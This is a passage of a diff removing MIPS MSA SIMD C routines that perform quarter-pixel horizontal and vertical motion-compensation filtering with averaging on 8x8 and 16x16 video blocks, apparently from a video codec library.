-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_h_src0_8x8_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_16x16_msa(const uint8_t *src,
-                                 int32_t src_stride,
-                                 uint8_t *dst,
-                                 int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_8x8_msa(const uint8_t *src, int32_t src_stride,
-                               uint8_t *dst, int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,
-                                                mask0, mask1, mask2, mask3,
-                                                const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_h_src1_16x16_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_h_src1_8x8_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-    dst += (4 * dst_stride);
-
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_hv_src01_16x16_msa(const uint8_t *src,
-                                               int32_t src_stride,
-                                               uint8_t *dst,
-                                               int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_hv_src01_8x8_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_insve_d((v2i64) horiz1, 1, (v2i64) horiz2);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_insve_d((v2i64) horiz3, 1, (v2i64) horiz4);
-    res1 = __msa_aver_u_b(avg1, res1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg0 = (v16u8) __msa_insve_d((v2i64) horiz5, 1, (v2i64) horiz6);
-    res0 = __msa_aver_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_insve_d((v2i64) horiz7, 1, (v2i64) horiz8);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_v_src1_16x16_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_v_src1_8x8_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_insve_d((v2i64) horiz1, 1, (v2i64) horiz2);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,
-                                                mask0, mask1, mask2, mask3,
-                                                const20, const6, const3);
-    avg1 = (v16u8) __msa_insve_d((v2i64) horiz3, 1, (v2i64) horiz4);
-    res1 = __msa_aver_u_b(avg1, res1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-    avg0 = (v16u8) __msa_insve_d((v2i64) horiz5, 1, (v2i64) horiz6);
-    res0 = __msa_aver_u_b(avg0, res0);
-
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_insve_d((v2i64) horiz7, 1, (v2i64) horiz8);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_hv_src11_16x16_msa(const uint8_t *src,
-                                               int32_t src_stride,
-                                               uint8_t *dst,
-                                               int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_hv_src11_8x8_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst, int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                         mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = __msa_aver_u_b(avg0, res0);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = __msa_aver_u_b(avg1, res1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = __msa_aver_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
